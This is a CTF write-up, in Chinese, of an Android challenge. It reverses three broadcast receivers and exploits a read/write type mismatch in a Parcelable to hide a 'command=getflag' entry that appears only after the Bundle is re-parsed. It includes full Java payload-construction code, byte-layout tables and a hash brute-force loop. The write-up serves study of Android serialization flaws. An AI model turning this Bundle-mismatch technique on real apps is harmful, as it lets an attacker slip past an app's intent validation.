逆向APK可知程序中仅有MainActivity$Message和三个Receiver类。
前者实现了一个Parcelable类,后三个则是广播。
其中Receiver1是exported的,接收并向Receiver2发送广播,Receiver2和3则非exported,只能接收内部发送的广播。
功能为Receiver1接收base64传入的data,然后将其反序列化得到一个Bundle,再广播给Receiver2。
Receiver2检查Bundle中“command”存在且值非"getflag",然后再次发送广播给Receiver3。
Receiver3检查Bundle中"command"存在且值为"getflag",通过则回显正确。
简单搜索可以找到这篇文章,描述了Parcel中对于读出和写入时类型不一致会产生的漏洞。
Android提供了独有的Parcelable接口来实现序列化的方法,只要实现这个接口,一个类的对象就可以实现序列化并可以通过Intent或Binder传输。
其中,关键的writeToParcel和readFromParcel方法,分别调用Parcel类中的一系列write方法和read方法实现序列化和反序列化。
可序列化的Parcelable对象一般不单独进行序列化传输,需要通过Bundle对象携带。 Bundle的内部实现实际是Hashmap,以Key-Value键值对的形式存储数据。例如, Android中进程间通信频繁使用的Intent对象中可携带一个Bundle对象,利用putExtra(key, value)方法,可以往Intent的Bundle对象中添加键值对(Key Value)。Key为String类型,而Value则可以为各种数据类型,包括int、Boolean、String和Parcelable对象等等,Parcel类中维护着这些类型信息。
// Keep in sync with frameworks/native/include/private/binder/ParcelValTypes.h.
private static final int VAL_NULL = -1;
private static final int VAL_STRING = 0;
private static final int VAL_INTEGER = 1;
private static final int VAL_MAP = 2;
private static final int VAL_BUNDLE = 3;
private static final int VAL_PARCELABLE = 4;
private static final int VAL_SHORT = 5;
private static final int VAL_LONG = 6;
private static final int VAL_FLOAT = 7;
对Bundle进行序列化时,依次写入携带所有数据的长度、Bundle魔数(0x4C444E42)和键值对。见BaseBundle.writeToParcelInner方法
int lengthPos = parcel.dataPosition();
parcel.writeInt(-1); // dummy, will hold length
parcel.writeInt(BUNDLE_MAGIC);
int startPos = parcel.dataPosition();
parcel.writeArrayMapInternal(map);
int endPos = parcel.dataPosition();
// Backpatch length
parcel.setDataPosition(lengthPos);
int length = endPos - startPos;
parcel.writeInt(length);
parcel.setDataPosition(endPos);
pacel.writeArrayMapInternal方法写入键值对,先写入Hashmap的个数,然后依次写入键和值
/**
* Flatten an ArrayMap into the parcel at the current dataPosition(),
* growing dataCapacity() if needed. The Map keys must be String objects.
*/
/* package */ void writeArrayMapInternal(ArrayMap<String, Object> val) {
...
final int N = val.size();
writeInt(N);
...
int startPos;
for (int i=0; i<N; i++) {
if (DEBUG_ARRAY_MAP) startPos = dataPosition();
writeString(val.keyAt(i));
writeValue(val.valueAt(i));
...
接着,调用writeValue时依次写入Value类型和Value本身,如果是Parcelable对象,则调用writeParcelable方法,后者会调用Parcelable对象的writeToParcel方法。
public final void writeValue(Object v) {
if (v == null) {
writeInt(VAL_NULL);
} else if (v instanceof String) {
writeInt(VAL_STRING);
writeString((String) v);
} else if (v instanceof Integer) {
writeInt(VAL_INTEGER);
writeInt((Integer) v);
} else if (v instanceof Map) {
writeInt(VAL_MAP);
writeMap((Map) v);
} else if (v instanceof Bundle) {
// Must be before Parcelable
writeInt(VAL_BUNDLE);
writeBundle((Bundle) v);
} else if (v instanceof PersistableBundle) {
writeInt(VAL_PERSISTABLEBUNDLE);
writePersistableBundle((PersistableBundle) v);
} else if (v instanceof Parcelable) {
// IMPOTANT: cases for classes that implement Parcelable must
// come before the Parcelable case, so that their specific VAL_*
// types will be written.
writeInt(VAL_PARCELABLE);
writeParcelable((Parcelable) v, 0);
通过下述代码我们可以获得Bundle的序列化bytes,写入文件或直接输出hex都可直接查看。
Bundle bundle = new Bundle();
bundle.putParcelable(AccountManager.KEY_INTENT, new MainActivity$Message()));
byte[] bs = {'a', 'a','a', 'a'};
bundle.putByteArray("AAA", bs);
Parcel testData = Parcel.obtain();
bundle.writeToParcel(testData, 0);
byte[] raw = testData.marshall();
注意writeString
方法是UTF16格式的,且最后会补0,补0以后的长度与4对齐。
以及Bundle中使用Arraymap,存储的顺序是根据key的hash值大小来决定。
查看本题中Message类也是相同的,有两处不一致,分别是
this.txRate = in.readInt();
dest.writeByte((byte) this.txRate);
和
this.rttSpread = in.readLong();
dest.writeInt((int) this.rttSpread);
这会导致每次读写覆盖后4字节。注意Bundle内部序列化时是4字节对齐的,因此int和byte的类型不一致没有用。
本题的目的是在读写一次以后产生一个新的键值对"command=getflag",与文章中暴露恶意Intent的思路基本一致。
Bundle中的map存储顺序是Key长度, Key内容, Value类型, Value长度, Value内容
因此思考一下可以构造出如下payload:
Message | len_key | content_key | type_value | len_value | content_value |
---|---|---|---|---|---|
pad | 15 00 00 00 | 07 00 00 00 “command” 00 00 00 00 00 00 07 00 00 00 “getflag” 00 00 | 00 00 00 00 | 03 00 00 00 | “pad” |
pad 15 00 00 00 | 07 00 00 00 | “command” 00 00 | 00 00 00 00 | 07 00 00 00 | “getflag” 00 00 |
这里的String长度是2字节一个单位,UTF-16格式,因此fake_key的长度是(4+(7+1)*2+4+4+7*2)/2
,注意4字节对齐因此command后要补0。最后的getflag因为writeString
方法自己会为我们补0所以不用管。
type=0对应的是String。
即令原来的len_key被覆盖,content_key中的内容扩展成一个键值对暴露出来,使得Receiver3可见而Receiver2不可见。
完整构造代码如下:
Parcel a = Parcel.obtain();
Parcel b = Parcel.obtain();
a.writeInt(3);//Count
a.writeString("mismatch");
a.writeInt(4);//Parcable
a.writeString("com.de1ta.broadcasttest.MainActivity$Message");
a.writeString("bssid");
a.writeInt(1);
a.writeInt(2);
a.writeInt(3);
a.writeInt(4);
a.writeInt(5);
a.writeInt(6);
a.writeInt(7);
a.writeLong(8);
a.writeInt(9);
a.writeInt(10);
a.writeInt(-1);
a.writeLong(11);
a.writeLong(12);
a.writeLong(0x11223344);
// fake map
// \7\0 => hide_len_key
// command\0 => hide_content_key
// \0\0 => hide_type_value
// \7\0 => hide_len_value
// getflag\0 => hide_content_value
a.writeString("\7\0command\0\0\0\7\0getflag");
a.writeInt(0);//fake_type
a.writeString("");//fake_value
a.writeString("command");//for bundle.getString("command")!=null
a.writeInt(0);
a.writeString("gotflag");
int len = a.dataSize();
b.writeInt(len);
b.writeInt(0x4c444E42);
b.appendFrom(a, 0, len);
b.setDataPosition(0);
byte[] raw = b.marshall();
String output = Base64.encodeToString(raw, 0);
Log.i("test", output);
在比赛中我用的payload是
a.writeString("\7\0command\0\0\0\7\0getflag\0");
a.writeInt(0);//fake_type
a.writeString("1");//fake_value
但奇怪的是base64解码出来看到的是getflag
后跟着3个0字符,即6个字节。
后来去查了一下才知道writeString会自动在最后补0,然后与4字节对齐,也就是说多产生了4个字节的0。
而如果把\0
删去,补的0则最后位于第22个字符,即44字节处,正好对齐。
此时结构如下
Message | len_key | content_key | type_value | len_value | content_value | len_key2 | content_key2 | type_value2 | len_value2 | content_value2 |
---|---|---|---|---|---|---|---|---|---|---|
pad | 15 00 00 00 | 07 00 00 00 “command” 00 00 00 00 00 00 07 00 00 00 “getflag” 00 00 | 00 00 00 00 | 01 00 00 00 | “1” | 07 00 00 00 | “command” | 00 00 00 00 | 00 00 00 00 | null |
pad 15 00 00 00 | 07 00 00 00 | “command” 00 00 | 00 00 00 00 | 07 00 00 00 | “getflag” 00 00 | 00 00 00 00 | 01 00 00 00 | “1” | 07 00 00 00 | “command” |
可以看出来type_value2会导致解析错误,因此这里可以构造fake_value1==""
即
Message | len_key | content_key | type_value | len_value | content_value | len_key2 | content_key2 | type_value2 | len_value2 | content_value2 |
---|---|---|---|---|---|---|---|---|---|---|
pad | 15 00 00 00 | 07 00 00 00 “command” 00 00 00 00 00 00 07 00 00 00 “getflag” 00 00 | 00 00 00 00 | 00 00 00 00 | 00 00 00 00 | 07 00 00 00 | “command” | 00 00 00 00 | 00 00 00 00 | null |
pad 15 00 00 00 | 07 00 00 00 | “command” 00 00 | 00 00 00 00 | 07 00 00 00 | “getflag” 00 00 | 00 00 00 00 | 00 00 00 00 | 00 00 00 00 | 07 00 00 00 | “command” |
即payload2
a.writeString("\7\0command\0\0\0\7\0getflag");
a.writeInt(0);//fake_type
a.writeString("");//fake_value
为了验证字符串补0导致多了4字节0的猜想没错,又使用了payload3
a.writeString("\7\0command\0\0\0\7\0getflag\0\0");
a.writeInt(0);//fake_type
a.writeString("1");//fake_value
payload3产生的bundle应该与payload1产生的bundle除了String长度以外一模一样,查看Bundle也是如此,说明确实是补0导致了多对齐4字节。但是这个payload无法成功。
在Receiver3
处查看Bundle发现顺序变为'\7\0commandxxx'='1', Message, 'command'='gotflag'
,也就是说Message
在最后一次read中虽然的确覆盖了4字节,但是由于顺序改变导致覆盖的是另外一个键值对。
另外logcat里产生了一个新的warning:
W/ArrayMap: New hash -1841832101 is before end of array hash -1212575282 at index 1 key ��command��������getflag����
这两个结合起来大概就能猜到了:
Bundle里使用的是ArrayMap结构,因此序列化的时候是按照key的hash大小来决定键值对先后的,当我们在fake_key
增加2个0后使它的hash值变的过小,因此被提到了最前面,导致覆盖失败。
之前不需要注意这个只是因为运气好,正好key的hash正好符合我们最初的排序和期望,所以没有产生意外。
public void append(K key, V value) {
int index = mSize;
final int hash = key == null ? 0
: (mIdentityHashCode ? System.identityHashCode(key) : key.hashCode());
if (index >= mHashes.length) {
throw new IllegalStateException("Array is full");
}
if (index > 0 && mHashes[index-1] > hash) {
RuntimeException e = new RuntimeException("here");
e.fillInStackTrace();
Log.w(TAG, "New hash " + hash
+ " is before end of array hash " + mHashes[index-1]
+ " at index " + index + " key " + key, e);
put(key, value);
return;
}
源码中使用hashcode()方法来获取hash值,因此我们只要爆破找一个hash比fake_key=-1841832101
小的Message的key就行了。
String key = "mismatch";
while(key.hashCode()>=-1841832101){
key += ".";
}
a.writeString("mismatch"); // key of Message object